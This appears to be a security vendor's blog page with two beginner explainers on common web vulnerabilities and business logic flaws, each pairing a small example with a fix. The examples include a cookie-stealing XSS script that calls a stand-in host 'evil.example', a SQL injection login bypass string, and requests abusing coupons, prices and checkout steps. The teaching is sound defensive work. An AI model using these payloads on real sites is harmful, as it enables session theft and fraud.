    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

  • The most common web vulnerabilities, explained simply

    The most common web vulnerabilities, explained simply

    The most common web vulnerabilities are broken access control, injection, cross site scripting, authentication failures, security misconfiguration, and business logic flaws. Those six explain the majority of real breaches you read about. If you are new to security the list of things that can go wrong feels endless, but the same handful of mistakes show up again and again. This post walks through each one in plain words, loosely following the OWASP Top 10, with a tiny example for each.

    Why do the most common web vulnerabilities matter more than the rare ones?

    They matter more because attackers are practical. They reach for the bugs that are easy to find and pay off fast, which is why the most common web vulnerabilities keep topping every list. Understand these six and you can spot a large share of the types of security vulnerabilities in any app you touch. The table below is the short version.

    The bugs that cause the most damage are rarely exotic. They are ordinary mistakes that nobody tested for.

    Vulnerability What breaks Typical fix
    Broken access control You are logged in, but the app never checks that this record is yours Check ownership on the server for every request
    Injection Input is mixed into a query or command and changes what it does Use parameterized queries so input stays a value
    Cross site scripting (XSS) One user’s input runs as code in another user’s browser Escape output, and set cookies as HttpOnly
    Authentication failures The app can be fooled about who you are Long random tokens, single use and short lived, plus rate limits
    Security misconfiguration Defaults and forgotten settings leak detail or expose admin surfaces Generic errors, private logs, debug off in production
    Business logic flaws Every request is valid, but the values or sequence break an assumed rule Test what happens when the app’s assumptions are false

    What is broken access control?

    Broken access control is when the app lets one user reach data or actions that should belong to someone else. The code checks that you are logged in, but forgets to check whether this specific thing is yours.

    A tiny example

    Say a notes app shows your note here:

    GET /api/notes/1042

    You change the number by hand:

    GET /api/notes/1043

    If the server returns someone else’s note, that is broken access control. The app trusted the ID in the request instead of checking that note 1043 belongs to you. This class tops most surveys, and it is easy to miss because every screen looks fine when you test with your own account. The access control category covers how these checks fail and how to test for them.

    What is injection?

    Injection happens when user input is mixed straight into a command, a query, or a template, so the input can change what that command does. The classic case is SQL injection.

    A tiny example

    Imagine a login query built by gluing strings together:

    SELECT * FROM users WHERE email = '" + email + "'

    A visitor types this into the email field:

    ' OR '1'='1

    Now the query always matches, and the attacker is logged in as the first user in the table. The fix is to stop mixing data and code: use parameterized queries. The same idea applies to operating system commands and template engines, and the injection and input category goes through the main flavors and the safe patterns.

    What is cross site scripting (XSS)?

    XSS is injection aimed at the browser. The app takes input from one user and shows it to another without cleaning it, so it runs as code in the victim’s browser.

    A tiny example

    A comment box lets you post this:

    <script>fetch('https://evil.example/steal?c='+document.cookie)</script>

    If the app prints comments back onto the page as raw HTML, everyone who views that comment runs the script, and their session cookie goes to the attacker. The fix is to escape output so <script> shows up as text, and to set cookies as HttpOnly so scripts cannot read them. Our free cookie security auditor checks those flags for you.

    What are authentication failures?

    Authentication failures cover the ways an app fails to confirm who someone really is: weak passwords allowed, no limit on login attempts, reset tokens that never expire, session IDs that are easy to guess. Our free password strength analyzer shows how length changes survival time against guessing.

    A tiny example

    An app sends a password reset link with a token in the URL:

    https://acme-notes.example/reset?token=100024

    The token is just a counter. An attacker requests a reset for their own account, sees token 100024, then tries 100023 and 100025 to hijack other accounts. Reset tokens should be long, random, single use, and short lived, and reset endpoints rate limited so guessing is slow and noisy.

    What is security misconfiguration?

    Security misconfiguration is when the code is fine and the setup is the problem. Default passwords, debug mode on in production, a storage bucket set to public, an admin panel exposed to the internet, verbose errors that leak stack traces.

    A tiny example

    A server returns a detailed error:

    500 Internal Server Error
    DBException: connection failed for user 'root' at db-prod-01:5432
    Stack trace: /app/services/billing.py line 88 ...

    That message hands an attacker the database user, the host, the port, and a map of your code. Show users a generic error, log the detail privately, and turn off debug output before you ship. It is common because it lives in defaults and forgotten settings, not in any line of code you wrote on purpose.

    What are business logic flaws?

    Business logic flaws are bugs where every individual request is valid, but the sequence or the values break a rule the app assumed nobody would break. There is no special character to escape and no obvious payload; the flaw is in the logic itself.

    A tiny example

    A checkout flow charges a discount based on a quantity sent by the client:

    POST /api/cart/add
    { "item": "license", "quantity": -3, "unit_price": 50 }

    Nobody expected a negative quantity, so the total becomes a credit and the customer gets paid to order. Another version: applying the same single use coupon twice by sending two requests at once, before the first marks it as spent. Generic tools rarely catch these, because finding them means understanding what the app should do, then asking what happens when an assumption is false.

    How do these classes connect?

    They connect by chaining, because most real incidents are a chain rather than a single bug. An attacker might use a misconfiguration leak to learn an internal URL, then broken access control to read another tenant’s records, then a business logic flaw to escalate. Learning them as separate ideas is the start; seeing how they combine is what makes someone good at the work.

    • Broken access control: can I reach things that are not mine?
    • Injection: is my input being treated as code?
    • XSS: can my input run in someone else’s browser?
    • Authentication failures: can the app be fooled about who I am?
    • Security misconfiguration: is the setup leaking or wide open?
    • Business logic flaws: what rule did the app assume I would never break?

    Where should you go from here?

    Pick one class and practice spotting it in a small app you control, or in the free labs of the Web Security Academy. Change an ID in a URL. Type a quote into a search box and watch the error. Send a negative number where a positive one is expected. The habit is asking what the app assumes, then testing whether that assumption holds.

    That last question, what does this app assume and what happens when the assumption is false, is exactly the kind of bug an autonomous researcher that tests assumptions is built to find. UnboundCompute learns how an app is meant to work, forms ideas about where the logic could break, runs experiments, and proves a finding with concrete evidence before reporting it. If that approach interests you, read more on the about page.

    Frequently asked questions

    What are the most common web application vulnerabilities?

    The handful that show up again and again are broken access control, injection, cross site scripting, authentication failures, security misconfiguration, and business logic flaws. Learning these classes explains the majority of real breaches you read about. The OWASP Top 10 tracks this list in detail.

    What is the most common serious web vulnerability?

    Broken access control tops most surveys. It happens when the app confirms you are logged in but forgets to check whether you are allowed to touch a specific thing, so changing an id like /api/notes/1042 to /api/notes/1043 returns someone else’s data.

    What is a business logic flaw and why do scanners miss it?

    A business logic flaw is when every individual request is valid but the values or the sequence break a rule the app assumed nobody would break, such as sending a negative quantity at checkout so the total becomes a credit. There is no special character or payload to flag, so generic tools miss it because finding it means understanding what the app is supposed to do.

    How do real attackers combine these vulnerabilities?

    Most real incidents are a chain, not a single bug. An attacker might use a small leak from a misconfiguration to learn an internal URL, use broken access control to read another tenant’s records, then use a business logic flaw to escalate further.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • What is a business logic vulnerability?

    What is a business logic vulnerability?

    A business logic vulnerability is a flaw in the rules an application follows, not in its code syntax. The request looks valid. Every field is the right type, the session is authenticated, and the server returns a clean 200 OK. The problem is that the request quietly breaks an assumption the app made about how people would use it. Because nothing looks malformed, a scanner waves it through, and that is what makes this class of bug so easy to miss.

    What a business logic vulnerability actually is

    Most security tools hunt for known bad input. They send a quote mark to look for SQL injection, or a script tag to look for cross site scripting. Those payloads are wrong on their face, so they are easy to detect and easy to block. A business logic vulnerability uses input that is completely legal. The attacker does not send garbage. They send a number, a coupon code, or a sequence of normal requests in an order the developer never expected.

    Think of it this way. The developer wrote code to answer the question “is this input valid?” They forgot to answer a second question: “does this valid input still make sense for what the user is allowed to do?” The gap between those two questions is where these bugs live.

    The request is valid. The assumption behind it is not. That gap is the whole bug.

    Four invented examples of a business logic vulnerability

    Here are four flaws in a made up shopping app we will call Acme Cart. None of these involve a special payload. Each one is a normal request that the server should have refused.

    1. Applying a discount code twice

    Acme Cart lets a shopper enter the code SAVE20 at checkout for twenty percent off. The intent is one use per order. But the apply endpoint never records that a code was already used on this cart. So the attacker just sends the same request again.

    POST /cart/apply-coupon
    { "cart_id": "8841", "code": "SAVE20" }
    
    POST /cart/apply-coupon
    { "cart_id": "8841", "code": "SAVE20" }

    Each call stacks another twenty percent off. Send it five times and the total drops to almost nothing. The input is a real coupon code every single time. A scanner sees two identical, well formed requests and finds nothing to flag.

    2. A negative quantity that pays you back

    The cart accepts a quantity field. The developer assumed quantity would be one or more. The validation checks that the value is a number, but not that it is positive.

    POST /cart/add-item
    { "sku": "MUG-01", "quantity": -3 }

    Now the order total goes down by the price of three mugs. If the checkout flow refunds or credits the negative line, the attacker buys a real item, attaches a negative line item, and walks away owing less than zero. The number -3 is a valid integer. The assumption that quantities are positive lived only in the developer’s head.

    3. Skipping a step in checkout

    Acme Cart has a three step checkout: cart, then payment, then confirm. The payment step is where the card is charged. The confirm step creates the order. But the confirm endpoint trusts that payment already happened, because in the normal flow it always does.

    POST /checkout/confirm
    { "cart_id": "8841" }

    An attacker who calls /checkout/confirm directly, without ever hitting the payment step, gets a confirmed order and never pays. The request is shaped exactly like a real one. The flaw is the missing check that the payment state for this cart is actually complete.

    4. Changing a price field the client should never set

    The add to cart request includes the product price so the front end can show a running total. The server reads that price straight from the request body instead of looking it up from its own catalog.

    POST /cart/add-item
    { "sku": "LAPTOP-15", "quantity": 1, "price": 1.00 }

    The laptop now costs one dollar. The attacker did not break encryption or guess a password. They edited a field the server should have ignored and recalculated on its own.

    Why automated tools miss a business logic vulnerability

    A scanner works from a list. It knows what an injection string looks like, what a directory traversal looks like, what a default password looks like. It compares responses against those patterns. None of the four examples above match any pattern, because the input is data the app was built to accept.

    To catch these, a tool would need to know things that live nowhere in the code in a checkable form:

    • A coupon is meant to apply once per order.
    • A quantity is meant to be positive.
    • Payment must finish before an order is confirmed.
    • Price is decided by the server, never the client.

    These are facts about intent. They are the assumptions the application makes about how its own features should behave. A pattern matcher does not understand intent, so it cannot tell that a clean 200 OK hid a free laptop. You have to first learn how the feature is supposed to work, then ask what happens if a user refuses to play along. That is research, not scanning. Our writeups in attack teardowns walk through this kind of reasoning on invented apps.

    How to find and prevent these bugs

    The starting point is to write down the assumptions, because a rule you never wrote down is a rule you never enforced. For each feature, ask what the app silently expects, then test the opposite.

    • List the invariants. One coupon per order. Quantity above zero. Payment before confirmation. Price from the catalog. Each one is a check the server must make on every request, not a hope about client behavior.
    • Never trust the client for anything that affects money or access. Recompute prices, totals, and permissions on the server from trusted data.
    • Enforce state, do not assume it. The confirm step should verify that this cart reached a paid state, rather than trusting the order of requests.
    • Replay and reorder requests on purpose. Send the same action twice. Skip a step. Send a negative or a zero. Edit a field the UI never lets you touch. If the response stays clean when it should not, you found one.
    • Turn a confirmed finding into a standing check. Once you prove that quantity: -3 lowers a total, add a test that fails if it ever works again.

    The work is mostly about understanding the app and then questioning each thing it takes for granted. A clever input is rarely the hard part. Seeing the unstated rule is.

    The takeaway

    A business logic vulnerability is what is left after the obvious bugs are patched. The payload is legal, the response is clean, and the damage is real. Finding these means understanding what the app is meant to do and then testing each assumption underneath that, one at a time. This is exactly the kind of bug an autonomous researcher that tests assumptions is built to find, and you can read more about how we approach that on our about page.

    Frequently asked questions

    What is a business logic vulnerability?

    It is a flaw in the rules an application follows, not in its code syntax. The request looks valid, every field is the right type, the session is authenticated, and the server returns a clean 200 OK, but the request quietly breaks an assumption the app made about how people would use it. The gap between “is this input valid” and “does this valid input still make sense” is where these bugs live.

    Why do scanners miss business logic vulnerabilities?

    Because the input is completely legal, so there is no bad pattern to match. A scanner works from a list of known bad strings like injection payloads or directory traversal, but a coupon code sent twice or a quantity of negative three is data the app was built to accept. Catching these needs knowledge of intent, such as a coupon applying once per order, which lives nowhere in the code in a checkable form. See the OWASP business logic testing guide.

    What is an example of a business logic flaw in a shopping cart?

    A common one is a price field the client should never set. If the add to cart request includes the product price and the server reads it straight from the request body instead of looking it up from its own catalog, an attacker can send { "sku": "LAPTOP-15", "quantity": 1, "price": 1.00 } and buy a laptop for one dollar. Others include applying a discount code twice, sending a negative quantity, and skipping the payment step before confirming an order.

    How do I prevent business logic vulnerabilities?

    Start by writing down the assumptions each feature makes, because a rule you never wrote down is a rule you never enforced. List the invariants like one coupon per order or quantity above zero, never trust the client for anything that affects money or access, and enforce state instead of assuming it. Then replay and reorder requests on purpose to test the opposite of each assumption, and turn any confirmed finding into a standing check.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.